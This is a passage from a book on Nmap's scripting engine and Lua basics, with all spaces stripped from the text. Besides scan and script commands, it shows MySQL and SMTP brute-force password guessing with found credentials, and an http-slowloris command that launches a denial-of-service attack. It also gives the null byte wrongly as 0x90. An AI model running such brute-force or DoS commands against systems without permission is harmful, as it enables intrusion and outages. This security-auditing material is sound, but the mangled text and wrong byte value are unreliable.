#nmap--script"broadcastanddiscovery"<<target>

Ifyouareselectingscripts,youcanalsousethewildcardcharacter,*:

#nmap--script"snmp-*"<target>

Ofcourse,wecancombinewildcardsandexpressions.Forexample,let’srunallthescriptswhosenamesbeginwithhttp-,butexcludethehttp-slowloris,http-brute,http-form-fuzzer,andhttp-enumscripts:

#nmap--script"http-*andnot(http-slowlorisorhttp-bruteorhttp-

enumorhttp-form-fuzzer)"<target>

Wecanalsocombinewildcardselectionwithexpressionswhenselectingcategories.Thenextcommandexecutesallscriptswhosenamesbeginwithhttp-thatarenotlistedintheexploitcategory:

#nmap--script"http-*andnot(exploit)"<target>

NSEscriptargumentsThe--script-argsNmapoptionisusedtosetargumentsinNSEscripts.Forexample,ifyouwouldliketosetthehttplibraryargument,useragent,Youcanusethisexpression:

$nmap-sV--scripthttp-title--script-argshttp.useragent="Mozilla1337"

<target>

NotalotofNmapusersknowthisbutyoucanalsoomitthescriptnamewhensettingarguments:

$nmap-p80--scripthttp-trace--script-argspath<target>

Youcanusetheprecedingexpressioninsteadofusingthis:

$nmap-p80--scripthttp-trace--script-argshttp-trace.path<target>

Ifyouareworkingwithscriptsthatshareargumentnames,youmustavoidnameconflictsmanually:

$nmap--scripthttp-majordomo2-dir-traversal,http-axis2-dir-traversal--

script-argshttp-axis2-dir-traversal.uri=/axis2/,uri=/majordomo/<target>

$nmap--scripthttp-majordomo2-dir-traversal,http-axis2-dir-traversal--

script-argsuri=/axis2/,http-majordomo2-dir-traversal.uri=/majordomo/

<target>

$nmap--scripthttp-majordomo2-dir-traversal,http-axis2-dir-traversal--

script-argshttp-axis2-dir-traversal.uri=/axis2/,http-majordomo2-dir-

traversal.uri=/majordomo/<target>

NoteThealiasinscriptargumentswillonlyworkiftheNSEscriptusesthestdnse.get_script_args()functiontoloadthearguments(refertoChapter4,ExploringtheNmapScriptingEngineAPIandLibraries).Youareencouragedtoalwaysusethisfunction,butthereareafewscriptsthatweresubmittedbeforethefunctionwasintroduced.

LoadingscriptargumentsfromafileIfyouareplanningtorunseveralscans,itisprobablyagoodideatowritedownyourscriptargumentsinafiletosavesometyping.NSEsupportsloadingNSEargumentsfromanabsoluteorrelativepathwiththe--script-args-fileoption.Theargumentscontainedinthefilemustbeseparatedbycommasornewlines:

nmap--script"discovery,broadcast"--script-args-filenmap-args.txt

<target>

Thecontentsofthenmap-args.txtfileareasfollows:

http.useragent=NotNmap

http.max-connections=50

userdb=/path/to/usernames.lst

passdb=/path/to/dictionary.lst

ForcingtheexecutionofNSEscriptsNmapcanforcetheexecutionofaNSEscriptbyprepending+tothescriptname:

$nmap--script+<scriptselection><<arg1,arg2,…>

Let’ssaywewanttoforcetheexecutionofthehttp-titleNSEscriptagainsttheservicerunningonport1212:

$nmap--script+http-title-p1212192.168.1.210

Withoutthe+sign,thescriptwillnotrunbut,sinceweaddedit,thereportcomesbackwiththefollowing:

Nmapscanreportfor192.168.1.210

Hostisup(0.00026slatency).

PORTSTATESERVICE

1212/tcpopenlupa

|_http-title:W00t!

DebuggingNSEscriptsIfyouneedtoanalyzethetrafficsentandreceivedbyNSE,usethe--script-traceoption.Forexample,ifyouwouldliketoseethepayloadssentbytheNSEscriptsintheexploitcategory,youcanusethisexpression:

#nmap--scriptexploit--script-trace<target>

YoucanalsoturnonthedebuggingmodeofNmapwiththe-d[1-9]flag.Thisflagcanbefollowedbyanintegerthatdenotesthedebugginglevelandshouldbebetween1and9.Thehigherthelevel,themoreverboseistheoutput:

#nmap-sV–-scriptexploit-d3<target>

The--packet-traceoptionincludesallthepacketssentandreceived,notonlythetrafficgeneratedbyNSE:

#nmap-O--scriptmyscript.nse--packet-trace<target>

ScanphasesandNSENmapscansaredividedintoseveralphasesbutNSEisonlyinvolvedinthreeofthem:pre-scanning,scriptscanning,andpost-scanning.TheexecutionruledefinedbyafunctionintheNSEscriptdetermineswhetheritrunsinanyofthosephases.

NoteTolearnmoreaboutthephasesofNmapscans,checkoutAppendixA,ScanPhases.

NSEscriptrulesNSEscriptscanhaveoneoffourdifferenttypesofexecutionrule:

prerule

postrule

portrule

hostrule

Let’sreviewsomeexamplesofthesedifferentscriptrules.Thiswillalsohelpyoulearntodebugscriptsforthosetimeswhenyourunintoproblems:

prerule():Thefollowingisasnippetfromthetargets-sniffer.nseNSEscript.ItillustrateshowwecanuseaprerulefunctiontocheckwhetherNmapisrunninginprivilegedmodeandwhetheritcandeterminethenetworkinterfacecorrectly:

prerule=function()

returnnmap.is_privileged()and

(stdnse.get_script_args("targets-sniffer.iface")or

nmap.get_interface())

postrule():Thessh-hostkeyscriptusesapostrulefunctiontodetecthoststhatsharethesameSSHpublickeys:

postrule=function()return(nmap.registry.sshhostkey~=nil)end

portrule(host,port):Thefollowingisasnippetoftheportrulefunctionofthejdwp-injectscript.Thisportrulefunctionwillmatchaservicedetectionstringandspecificportprotocolandstate:

portrule=function(host,port)

—JDWPwillclosetheportifthereisnovalidhandshakewithin

2

—seconds,Servicedetection'sNULLprobedetectsitas

tcpwrapped.

returnport.service=="tcpwrapped"

andport.protocol=="tcp"andport.state=="open"

and

not(shortport.port_is_excluded(port.number,port.protocol))

end

hostrule():Thesniffer-detectscript’shostruledeterminesthatthescriptwillonlyexecutewithlocalEthernethosts:

hostrule=function(host)

ifnmap.address_family()~='inet'then

stdnse.print_debug("%sisIPv4compatibleonly.",

SCRIPT_NAME)

returnfalse

end

ifhost.directly_connected==trueand

host.mac_addr~=niland

host.mac_addr_src~=niland

host.interface~=nilthen

localiface=nmap.get_interface_info(host.interface)

ififaceandiface.link=='ethernet'then

returntrue

end

end

returnfalse

end

ApplicationsofNSEscriptsAsyouprobablyknowbynow,theapplicationsofNSEcoverawiderangeoftasks.NmapgivesaccesstoNSEdeveloperstoa“hostandport”tablecontainingrelevantinformationcollectedduringthescan,suchasservicename,operatingsystem,protocol,andsoon.Theinformationavailabledependsontheoptionsusedduringthescan.

Unfortunately,thereisnotenoughspaceinonechaptertocoverallthegreatNSEscripts.Ifyouareinterestedinlearningmoreapplications,IrecommendcheckingoutmypreviousbooknamedNmap6:NetworkExplorationandSecurityAuditingCookbook,PaulinoCalderónPale,PacktPublishing,whereIcoveredindetailover120differenttasksthatcanbedonewithNmap.Itsofficialwebsiteisathttp://nmap-cookbook.com.

Information-gatheringInformation-gatheringisoneofthestrengthsofNSE,andthecollectionofscriptsavailableisastonishing.Thesescriptsusedifferenttechniquesanddatasourcestoobtainadditionalhostinformationsuchasvirtualhosts,serviceversions,userlists,andevengeolocation.Keepinmindthatsomeofthesescriptsqueryexternalservices,andtheaccuracyoftheinformationdependsoneachdatabase.

CollectingUPNPinformationUPNPprotocolsweredesignedtoallownetworkdevicestofindeachother,andsomeseriousflawshavebeendiscoveredinalotofimplementationsofthesesetsofprotocols.Theupnp-infoscriptwasdesignedtoqueryaUPNPservicetoobtainadditionalinformationaboutthedevice:

#nmap-sU-p1900--scriptupnp-info<target>

Iftheprecedingcommandrunssuccessfully,theamountofinformationreturnedbytheservicedependsonthetypeofdeviceandUPNPimplementation:

Nmapscanreportfor192.168.1.1

Hostisup(0.067slatency).

PORTSTATESERVICE

1900/udpopenupnp

|upnp-info:

|192.168.1.1

|Server:Custom/1.0UPnP/1.0Proc/Ver

|Location:http://192.168.1.1:5431/dyndev/uuid:3872c05b-c117-17c1-

5bc0-12345

|Webserver:LINUX/2.4UPnP/1.0BRCM400/1.0

|Name:BroadcomADSLRouter

|Manufacturer:Comtrend

|ModelDescr:(null)

|ModelName:AR-5381u

|ModelVersion:1.0

|Name:WANDevice.1

|Manufacturer:Comtrend

|ModelDescr:(null)

|ModelName:AR-5381u

|ModelVersion:1.0

|Name:WanConnectionDevice.1

|Manufacturer:Comtrend

|ModelDescr:(null)

|ModelName:AR-5381u

|_ModelVersion:1.0

FindingallhostnamesresolvingtothesameIPaddressThehostmap-*setofscriptslistsallthehostnamespointingtothesameIPaddress.Thisisusefulwhenworkingwithwebserversthatreturndifferentcontentdependingonthehostnameheader.Currently,therearethreescripts:

hostmap-bfk

hostmap-robtex

hostmap-ip2hosts

Wecanrunthematthesametimewiththefollowingcommand:

$nmap-sn--script"hostmap*"<target>

Ifthereareanyrecordsontheexternaldatabases,theywillbeshownintheresults:

Nmapscanreportforpacktpub.com(83.166.169.228)

Hostisup(0.13slatency).

Hostscriptresults:

|hostmap-bfk:

|hosts:

|packtpub.com

|_83.166.169.228

|hostmap-robtex:

|hosts:

|_packtpub.com

|hostmap-ip2hosts:

|hosts:

|www.packtpub.com

|packtpub.com

|_83.166.169.228

AdvancedhostdiscoveryTheflexibilityofallowingpre-scanningandpost-scanningscriptsgivesustheabilitytoincludetargetson-the-fly,analyzescanresults,andevenlaunchadditionalprobestodetectmoretargethosts.ThebroadcastNSEcategorycollectsaveryinterestingsetofscriptsthatdoesn’tsendtrafficdirectlytothetargethostusingmulticastrequests.Ontheotherhand,somescripts(suchastargets-sniffer)merelylistentothelocalnetworktofindnewtargets,withoutgeneratinganytraffic.

DiscoveringhostswithbroadcastpingsThebroadcast-pingscriptattemptstodiscoverhostsbysendingapingrequesttothebroadcastaddress,255.255.255.255.Themachinesconfiguredtorespondtobroadcastrequestswillrevealthemselves:

#nmap--scriptbroadcast-ping

Pre-scanscriptresults:

|broadcast-ping:

|IP:192.168.1.202MAC:08:00:27:16:4f:71

|IP:192.168.1.206MAC:40:25:c2:3f:c7:24

|_Use--script-args=newtargetstoaddtheresultsastargets

WARNING:Notargetswerespecified,so0hostsscanned.

Nmapdone:0IPaddresses(0hostsup)scannedin3.25seconds

Allthehoststhatrespondedtothebroadcastpingwillbeshown.Additionally,usingthenewtargetsargument,thesehostswillbeaddedtothescanqueue:

#nmap--scriptbroadcast-ping--script-argsnewtargets

StartingNmap6.47SVN(http://nmap.org)at2014-11-3022:05CST

Pre-scanscriptresults:

|broadcast-ping:

|_IP:192.168.0.8MAC:6c:ad:f8:7b:83:ab

Nmapscanreportfor192.168.0.8

Hostisup(0.0083slatency).

Notshown:998closedports

PORTSTATESERVICE

8008/tcpopenhttp

8009/tcpopenajp13

MACAddress:6C:AD:F8:7B:83:AB(AzurewaveTechnologies)

ListeningtoyourLANtodiscovertargetsThetargets-snifferscriptisverypeculiarbecauseitisoneofthefewscriptsthatactuallysniffaLANnetworkinordertodiscovernewlocaltargets.Thisscriptrequiresprivilegedmodeandthatyousettheinterfaceforusewiththe-eNmapoption:

#nmap-sL--script=targets-sniffer-e<interface>

StartingNmap6.47SVN(http://nmap.org)at2014-11-3022:11CST

Pre-scanscriptresults:

|targets-sniffer:Sniffed4address(es).

|17.172.239.128

|192.168.0.2

|239.255.255.250

|_192.168.0.8

WARNING:Notargetswerespecified,so0hostsscanned.

Nmapdone:0IPaddresses(0hostsup)scannedin10.20seconds

Optionally,thesetargetscanalsobeaddedtothescanningqueueonthefly:

#nmap-sL--script=targets-sniffer--script-args=newtargets-e<interface>

StartingNmap6.47SVN(http://nmap.org)at2014-11-3022:15CST

Pre-scanscriptresults:

|targets-sniffer:Sniffed5address(es).

|224.0.0.251

|fe80::7a31:c1ff:fec1:9c0a

|192.168.0.8

|192.168.0.2

|_239.255.255.250

Nmapscanreportfor192.168.0.8

Hostisup(0.0066slatency).

Notshown:98closedports

PORTSTATESERVICE

8008/tcpopenhttp

8009/tcpopenajp13

MACAddress:6C:AD:F8:7B:83:AB(AzurewaveTechnologies)

Nmapscanreportfor192.168.0.2

Hostisup(0.0033slatency).

Notshown:99closedports

PORTSTATESERVICE

49152/tcpopenunknown

MACAddress:00:18:F5:0F:AD:01(ShenzhenStreamingVideoTechnologyCompany

Limited)

Nmapdone:4IPaddresses(2hostsup)scannedin16.01seconds

PasswordauditingBrute-forcepassword-auditingscriptshavegrowntocoveralotofdifferentservices,thankstothebruteNSElibrary.ThislibraryallowsNSEdeveloperstoeasilylaunchdictionaryattacksbyimplementingasimpleclassthatusesotherNSElibrariessuchasunpwd,whichgivesaccesstoausernameandpassworddatabase.Ifanycredentialsarefoundduringtheexecution,theywillbeaddedtoacredentialsdatabasethatcanbereadbyotherscripts.

Brute-forcingMySQLpasswordsThemysql-brutescriptwillhelpusperformbrute-forcepasswordauditingagainstlocalorremoteMySQLservers.Inmostconfigurations,MySQLwillnotimposealimitofloginretries,sothisisagoodvectorforexploitingweakpasswords:

$nmap-p3306--scriptmysql-brute<target>

Ifanycredentialsarefound,theywillbeincludedinthescriptoutput:

3306/tcpopenmysql

|mysql-brute:

|root:<empty>=>Validcredentials

|_test:test=>Validcredentials

Brute-forcingSMTPpasswordsThesmtp-brutescriptwaswrittentohelpperformbrute-forcepassword-auditingattacksagainstSMTPservers,asthenamestates:

$nmap-p25--scriptsmtp-brute<target>

Theoutputofthisscriptissimilartothatofotherscriptsthatdependonthebrutelibrary:

PORTSTATESERVICEREASON

25/tcpopenstmpsyn-ack

|smtp-brute:

|Accounts

|acc0:test-Validcredentials

|acc1:test-Validcredentials

|acc3:password-Validcredentials

|acc4:12345-Validcredentials

|Statistics

|_Performed3190guessesin81seconds,averagetps:39

VulnerabilityscanningNSEoffersagreatframeworkforpenetrationtesterswhoneedtocreatetoolstodetectandexploitvulnerabilities.Nmapoffersalotofoptionssuchaslow-levelpacketcreationandhandling,librariesusedtocommunicatewiththemostpopularprotocols,andaninterfacetoreportvulnerabilities.Forthosewhodon’tneedtowritenewtoolsbutsimplywanttoscantheirnetwork,thereareveryusefulscriptstodetectcommonmisconfigurationsandautomatetedioustaskssuchasfindingforgottenbackupfilesandperformingsecuritychecks.

DetectinginsecureMySQLserverconfigurationsThemysql-auditscriptinspectstheconfigurationofyourMySQLserveragainstalistofsecuritycontrols.Thisscriptrequiresthatyousetupsomearguments:

$nmap-p3306--scriptmysql-audit--script-args'mysql-audit.username="

<username>",mysql-audit.password="<password>",mysql-

audit.filename=/usr/local/share/nmap/nselib/data/mysql-cis.audit'<target>

Eachcontrolinthedatabasewillbeaudited.ThefollowingaretheresultsofacleanMySQLserverinstallationonanUbuntuserver:

PORTSTATESERVICE

3306/tcpopenmysql

|mysql-audit:

|CISMySQLBenchmarksv1.0.2

|3.1:Skipsymboliclinks=>PASS

|3.2:Logsnotonsystempartition=>PASS

|3.2:Logsnotondatabasepartition=>PASS

|4.1:SupportedversionofMySQL=>REVIEW

|Version:5.1.41-3ubuntu12.10

|4.4:Removetestdatabase=>PASS

|4.5:Changeadminaccountname=>FAIL

|4.7:VerifySecurePasswordHashes=>PASS

|4.9:Wildcardsinuserhostname=>PASS

|4.10:Noblankpasswords=>PASS

|4.11:Anonymousaccount=>PASS

|5.1:Accesstomysqldatabase=>REVIEW

|VerifythefollowingusersthathaveaccesstotheMySQLdatabase

|userhost

|rootlocalhost

|rootbuilder64

|root127.0.0.1

|debian-sys-maintlocalhost

|5.2:DonotgrantFILEprivilegestononAdminusers=>PASS

|5.3:DonotgrantPROCESSprivilegestononAdminusers=>PASS

|5.4:DonotgrantSUPERprivilegestononAdminusers=>PASS

|5.5:DonotgrantSHUTDOWNprivilegestononAdminusers=>PASS

|5.6:DonotgrantCREATEUSERprivilegestononAdminusers=>PASS

|5.7:DonotgrantRELOADprivilegestononAdminusers=>PASS

|5.8:DonotgrantGRANTprivilegestononAdminusers=>PASS

|6.2:DisableLoaddatalocal=>FAIL

|6.3:Disableoldpasswordhashing=>PASS

|6.4:Safeshowdatabase=>FAIL

|6.5:Secureauth=>FAIL

|6.6:Granttables=>FAIL

|6.7:Skipmerge=>FAIL

|6.8:Skipnetworking=>FAIL

|6.9:Safeusercreate=>FAIL

|6.10:Skipsymboliclinks=>FAIL

|

|_Theauditwasperformedusingthedb-account:root

Detectingwebserversvulnerabletoslowdenial-of-serviceattacksSlowdenial-of-serviceattacksopenasmanyconnectionsaspossibleandsendtheminimumamountofdata,takingthelongestpossibletimetoattempttoconsumeallavailablenetworkresources.Thehttp-slowlorisandhttp-slowloris-checkscriptsallowthedetectionofwebserversvulnerabletotheseattacks.RobertHansen,betterknownas“RSnake,”haspublishedatoolanddocumentedthisvulnerabilityverywellathttp://ha.ckers.org/slowloris/.Also,asecurityresearchernamedHugoGonzalezdiscoveredthattheseattackscanbeportedtoIPv6aswell.

Runningthehttp-slowlorisscriptwithahighnumberofconcurrentconnectionswilllaunchaslowdenial-of-serviceattack:

#nmap-p80--scripthttp-slowloris--max-parallelism300<target>

Ifthehostisvulnerable,theoutputwillreturnsomethingsimilartothis:

PORTSTATESERVICEREASON

80/tcpopenhttpsyn-ack

|http-slowloris:

|Vulnerable:

|theDoSattacktook+5m35s

|with400concurrentconnections

|_and1900sentqueries

DetectingSSLserversvulnerabletoCVE-2014-3566ThevulnerabilityknownasCVE-2014-3566,alsoknownasPoodle,allowsdecryptionofsecurecommunicationsusingSSLversion3.Althoughtherearenewersecurityprotocols,downgradeattackscanbeperformedonmodernwebbrowserstoforceconnectionstofallbacktoSSLv3.Therefore,SSLv3isconsideredobsoleteandinsecurenow.

TodetectservicesthatallowSSLv3CBCciphers,wecouldusethessl-poodleNSEscript:

nmap-sV--version-all--scriptssl-poodle-p-<target>

Vulnerableserviceswillreturnthefollowingoutput:

PORTSTATESERVICEREASON

443/tcpopenhttpssyn-ack

|ssl-poodle:

|VULNERABLE:

|SSLPOODLEinformationleak

|State:VULNERABLE

|IDs:CVE:CVE-2014-3566OSVDB:113251

|TheSSLprotocol3.0,asusedinOpenSSLthrough1.0.1iand

|otherproducts,usesnondeterministicCBCpadding,whichmakes

iteasier

|forman-in-the-middleattackerstoobtaincleartextdataviaa

|padding-oracleattack,akathe"POODLE"issue.

|Disclosuredate:2014-10-14

|Checkresults:

|TLS_RSA_WITH_3DES_EDE_CBC_SHA

|References:

|https://www.imperialviolet.org/2014/10/14/poodle.html

|http://osvdb.org/113251

|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566

|_https://www.openssl.org/~bodo/ssl-poodle.pdf

SettingupadevelopmentenvironmentTostartdevelopingNSEscripts,youdon’tneedanythingbutafreshcopyofNmapandyourfavoritetexteditor(vi,nano,gedit,andsoon).However,youneedtoconfigureyourtexteditortousetwospaceindentsinsteadoftabsifyouareplanningonsendingyourcontributionstothedevelopmentmailinglist.

ThereisafilenamedHACKINGinyourNmapinstallationdirectorythatyoushouldread.ItcontainsusefultipsforpeopleinterestedinNSEdevelopment.Ifyouareworkingwithvi,youmightwanttoaddthefollowingtoyour.vimrcfile.ItcontainsacoupleofadditionstotheruleslistedintheHACKINGfile:

syntaxenable

auBufRead,BufNewFile*.nsesetfiletype=lua

setnocindent

setexpandtab

setsofttabstop=2

setshiftwidth=2

setcopyindent

NoteYoucanalsodownloadthefilefrommyGitHubrepositoryathttps://github.com/cldrn/nmap-nse-scripts/blob/master/.vimrc.

HalcyonIDEForthosewholoveworkingwithgraphicalenvironments,thereisanunofficialIDE,namedHalcyonIDE,createdexclusivelytodevelopNSEscripts.ItiswritteninJavaandallowsdeveloperstotestanddebugscriptswithinitself,providingfeaturessuchascodecompletionandsyntaxhighlighting.ThefollowingscreenshotshowstheHalcyonIDE:

ThedevelopmentofthisIDEisstillinitsearlystagessoIrecommendsubmittinganybugsyouencounter.TheofficialGitHubrepositorycanbefoundathttps://github.com/s4n7h0/Halcyon.

AddingnewscriptsNSEscriptsarelistedinafilenamedscript.db.HavingyourNSEscriptsincludedinthisdatabaseallowsyoutocallthemdirectlybyname(withoutthe.nseextension).Toaddnewscriptstoyourscript.dbdatabase,yousimplyneedtocopyyour.nsefilestothescriptsdirectory,whichisusually<NMAPinstall>/scripts,andrunthefollowingcommand:

#nmap--script-updatedb

SummaryInthischapter,weintroducedNSEanditsamazingcapabilities.Bynow,youshouldhaveinstalledthelatestversionofNmapandhaveyourdevelopmentenvironmentreadytogo.TheNmapoptionscoveredinthischapterwillbeallyouneedtocomfortablyrunanddebugNSEscripts.Paycloseattentiontothedifferentscriptrules(prerule,postrule,portrule,andhostrule)thatwillbeshownthroughoutthebook.

NowwearereadytostartwritingNSEscriptsandgetfamiliarwithalltheavailablelibraries.Inthefollowingchapters,youwilldiscoverthetruepowerofNSE.ThenextchaptercoversthefundamentalsofLuaprogramming,soprepareyourselftolearnthisamazingscriptinglanguage.

Chapter2.LuaFundamentalsLuaisadynamicallyinterpretedscriptinglanguagecharacterizedasfast,flexible,portable,small,andyetverypowerful.Ithasbeenchosenfortheseveryreasonsbyavarietyofwell-recognizedprojectsinmanyindustries,includinginformationsecurity.NmapScriptingEngine(NSE)usesLuatoallowuserstoeasilyextendthecapabilitiesofNmapbywritingscriptsthathaveaccesstotheinformationcollectedbythetool.

EntirebookscanbewrittenaboutLuaanditswonderfulflexibilityandamazingfeatures.ThischapterwillmerelyintroduceyoutothebasicsofwhatyouneedtoknowtostartworkingonyourownNSEscripts.IfyouwouldliketodigdeeperintoLuaafterreadingthischapter,Ihighlyrecommendcheckingouttheironlinedocumentationathttp://www.lua.org/docs.html,orsupportingtheprojectbybuyingoneoftheirofficialbooksathttp://www.lua.org/donations.html#books.

Inthisbook,wewillworkwithLua5.2asthisistheversionincludedinthelatestNmapbuild(6.47SVN)atthetimeofwritingthisbook.However,thebasicprinciplesandfeaturesdescribedherecertainlyapplytoolderandnewerversions,sincewewillnotuseanydeprecatedfunctions.

YoumayskipthischapterifyouarefamiliarwiththefollowingconceptsinLua:

FlowcontrolstructuresDatatypesStringhandlingCommondatastructuresI/OoperationsCo-routinesMetatablesOtherspecialquirksaboutLuarelatedtocomments,memorymanagement,semantics,andsoon

QuicknotesaboutLuaNowwewillcoverotherconceptsinLua.Ifyouarefamiliarwithotherscriptinglanguages,youwillfindthissectionveryusefulbecauseitaimstogetyoufamiliarwithtopicssuchascomments,arrayindexes,semantics,anddatatypes.

CommentsAcommentcanbeanythingbetweentwohyphensandtheendoftheline:

--Thisisacomment

Commentblocksarealsosupported.Theyaredelimitedbythe--[[and]]characters:

--[[

Thisisamulti-line

commentblock.

]]

DummyassignmentsThereareoccasionswhenyoudon’tneedalltheinformationreturnedbyafunction;inLua,youcanusedummyassignmentstodiscardareturnvalue.Theoperatoris_(underscore).Forexample,inthefollowingcodeline,wediscardthefirsttworeturnvaluesofstring.findandstoreonlythethirdvalue:

local_,_,item=string.find(<string>,<patternwithcapture>)

IndexesIndexesstartatone,notzero:

z={"a","b","c"}

z[1]="b"--Thisassignmentwillchangethecontentofthetableto

{"b","b","c"}

However,youcaninitializeanarrayatanyvalue:

nmap={}

forx=-1337,0do

nmap[x]=1

end

NoteKeepinmindthatallstandardLualibrarieswillsticktothisconvention.

SemanticsDuetoLua’sflexibility,youmightencounterdifferentsemantics.Inthefollowingexample,boththelinescallingthegmatchfunctionareperfectlyvalidandproducethesameresult:

Localstr="nmap"

string.gmatch(str,"%z");

str:gmatch("%z")

TipOnlyfunctionswithnomorethanoneparametercanbecalledusingtheobj:funcnotation.

CoercionLuaprovidesautomaticconversionbetweenstringsandnumbers:

surprise="Pi="..math.pi

--Thestringnowcontains"Pi=3.1415926535898"withouttheneedof

casting.

SafelanguageLuaisconsideredasafelanguagebecauseyoucanalwaystraceanddetectprogramerrors,andyoucan’tcauseamemorycorruptionnomatterwhatyoudo.However,youneedtobecarefulwhenyouintroduceyourownCmodules.

BooleansAllvaluesexceptfalseandnilaretreatedastrue:

str="AAA"

num=-1

zero=0

--thefollowingstatementwillevaluateto"true"

ifstrandnumandzerothen

…—Thiswillexecutebecauseeven0evaluatestotrue

end

FlowcontrolstructuresSomeclassiccontrolstructuresareimplementedinLua,suchastheif-thenconditionalstatements,afewdifferentlooptypes,andthebreakandcontinuefunctions.Let’sreviewthesestructuresbriefly.Theobjectiveofthefollowingsectionsistogetyoufamiliarwiththesyntaxusedinthislanguage.

Conditionalstatements–if-then,else,andelseifTheif-thenconditionalstatementevaluatesanexpressionandexecutesablockofcodeiftheexpressionistrue.Itusesthefollowingsyntax:

ifstatus.bodythen

--Dosomething

end

Luaalsosupportsanelse-ifconditionalstatementwiththeelseifkeyword:

ifstatus.code==200then

--Dosomething

elseifstatus.code==301then

--Dosomethingelse

end

Anelsestatementdoesnotneedanyexpressiontobeevaluated:

ifstatus.code==200then

--Dosomething

elseifstatus.code==301then

--Dosomethingelse

else

--Ifnoconditionsaretrue…

end

Loops–whileThewhileloopstructureisverysimilartowhatwefindinotherscriptinglanguagessuchasPython:

localx=1

while(x<1338)do

print(x)

x=x+1

end

Loops–repeatTherepeatlooprunsthebodyuntilthesetconditionbecomestrue:

done=false

repeat

…--Dosomething

untildone

Loops–forTherearetwoloopformats,oneforiteratingthroughnumericindexesandanotherforworkingwithiterators:

forx=1,1337do

print(x)

end

Theoutputoftheprecedingcodeisasfollows:

1

2

3

1337

Thestepnumber(itcanbenegative)canbesetbypassingathirdargumenttotheloopstatement.Forexample,toiteratedecreasinganumber,pass-1asthestepnumber:

forx=1337,1,-1do

print(x)

end

Hereistheoutputoftheprecedingcode:

1337

1336

1335

1

NoteRememberthatforloopsmustendwiththeterminatorkeyword,end.

Thepairs()iteratorfunctionallowsiterationthroughthekeyandvaluesofagiventable:

t={}

t["nmap"]="FTW"

t[1337]="nse"

forindex,valueinpairs(t)do

print(index,value)

end

Theprecedingsnippetwillproducethefollowingoutput:

nmap,ftw

1337,nse

Theitemsreturnedbythepairs()iteratorarenotguaranteedtobeinnumericorder.Usetheipairs()functionifyouneedtoreturnthevaluesorderedbyanumerickey:

a={}

a[2]="FTW"

a[1]="WEBSEC"

fori,valinipairs(a)do

print(i,val)

end

Theoutputoftheprecedingcodeisasfollows:

1,WEBSEC

2,FTW

DatatypesLuahasthefollowingbasicdatatypes:

number:Thisstoresintegeranddouble-floatnumbersstring:Thisisthesequenceofbytesboolean:Thisstoresfalseandtruevaluestable:Thisstoresassociativearraysthatcanbeusedtorepresentmultipledatastructuresfunction:Thisisanobjectofafunctionnil:Thisindicatesthatadatatypeorvariablelacksavalueuserdata:ThisexposesthevaluesofCobjects(orothernon-Luaobjects)thread:Thisisanindependentthreadofexecution

StringhandlingLua’sstringlibrarysupportsalotofhandystringoperations.StringswillobviouslybeusedfrequentlywhenwritingNSEscriptssincetheyareperfectforrepresentingbytesequences.Let’sreviewthemostcommonfunctionsandoperatorsusedinstringhandling.

CharacterclassesCharacterclassesarespecialoperatorsusedinpatterns.Wewillneedthemwhenmatchingorsubtractingsubstrings,sokeeptheminmindwhenwereviewpatternsandstringoperations:

Characterclasses Represents

. Allcharacters

%a Letters

%c Controlcharacters

%d Digits

%l Lowercaseletters

%p Punctuationcharacters

%s Spacecharacters

%u Uppercaseletters

%w Alphanumericcharacters

%x Hexadecimaldigits

%z Null(0x90)

MagiccharactersThefollowingcharactershavespecialfunctionswithinpatterns:

Operator Function

() Parenthesesencapsulatethepatterntocapture

. Anycharacter

% Escapecharacterformagiccharactersandnon-alphanumericcharacters

+ Repetitionoperator

- Repetitionoperator

* Repetitionoperator

? Repetitionoperator

[ Definessets

^ Representsthecomplementoftheset

$ Representstheendofastring

PatternsPatternsareusedtomatchstrings,andtheyareverypowerful.ThinkaboutthemassimplifiedregularexpressionsinLua.Characterclassesandcapturesareusedincombinationwithpatternsthatsupportgreedyandnon-greedymatchingtoallowprogrammerstoperformadvancedstringmatching,substitution,andextraction.

Forexample,thecharacterclassthatrepresentsanullbyte(0x90)is%z.Toremoveallnullbytesfromabuffer,wemightdosomethinglikethis:

buffer=io.read()

buffer=string.gsub(buffer,"%z","")--Thiswillremoveallnullbytes

fromthebuffer

Let’ssaywewouldliketomatchastringcontainingaversionnumberthathasthefollowingformat:

Version1.21

Amatchingpatterncouldbethis:

Version%s%d%p%d%d

Theprecedingpatternwillmatchstringssuchasthese:

Version1.21

Version8,32

Version4!20

Version3!14

Wecancreatesetsofcharactersusingsquarebrackets.Asetwillmatchanyofthecharactersenclosedinthebrackets:

print(string.match("Nmap","[mn]ap"))

map

print(string.match("N3o","N[e3]o"))

N3o

>print(string.match("Errorcode:52c","%d%d[0-9,abc]"))

52c

NoteInternally,patternsarenothingmorethanstringsinLua;thus,thesamerulesapplytothem.

CapturesCapturesareveryhandyastheyallowdeveloperstoselectaportionofapatterntobereturnedtothecallingfunction.Capturesaredelimitedbyparentheses,andtheyaremostlyusedtoextractinformationfrompatterns.

>_,_,d,m,y=string.find("15/11/1986","(%d+)/(%d+)/(%d+)")

>print(d,m,y)

15 11 1986

Thefollowingexampleisasnippetfromthehttp-majordomo2-dir-traversalscript.Itusesthepatterncapture(.*)tostorethecontentofaremotedelimitedbythe<pre>and<!--Majordomohelp_footformatfile-->strings:

local_,_,rfile_content=string.find(response.body,'<pre>(.*)<!%-%-

Majordomohelp_footformatfile%-%->')

TipRememberthatLuapatternsallowtheuseof-,thenon-greedyrepetitionoperatorthatsimplifiesstringmatching.ThisisveryusefulwhenworkingwithHTMLandJavaScript.

RepetitionoperatorsThefollowingrepetitionoperatorsaffectthepreviouscharacterorcharactersetindifferentways,dependingontheoperator.Thisfunctionalityallowsustomatchstringswithunknownlengths.

Operator Feature

? Optional

* Zeroormoretimes,andasmanytimesaspossible

+ Atleastonce,andasmanytimesaspossible

- Zeroormoretimes,andafewtimesifpossible

Examples:

>print(string.match("52c111d111","[0-9,abc]+"))

52c111

>print(string.match("XAXXXXX","[0-9,abc]?XX"))

XX

>print(string.match("1XX","[0-9,abc]?XX"))

1XX

>print(string.match("dXX","[0-9,abc]?XX"))

XX

>=string.match("blahblah<tag>blahblah","<.*>")

<tag>

>=string.match("blahblah<>blahblah","<.*>")

<>

ConcatenationToconcatenatestrings,usethe..operator:

localc="Hey"

localb=c.."nmaper!"

print(b)

Hereistheoutputoftheprecedingcode:

Heynmaper!

NoteString-to-number(andviceversa)conversionisdoneautomaticallybyLua.

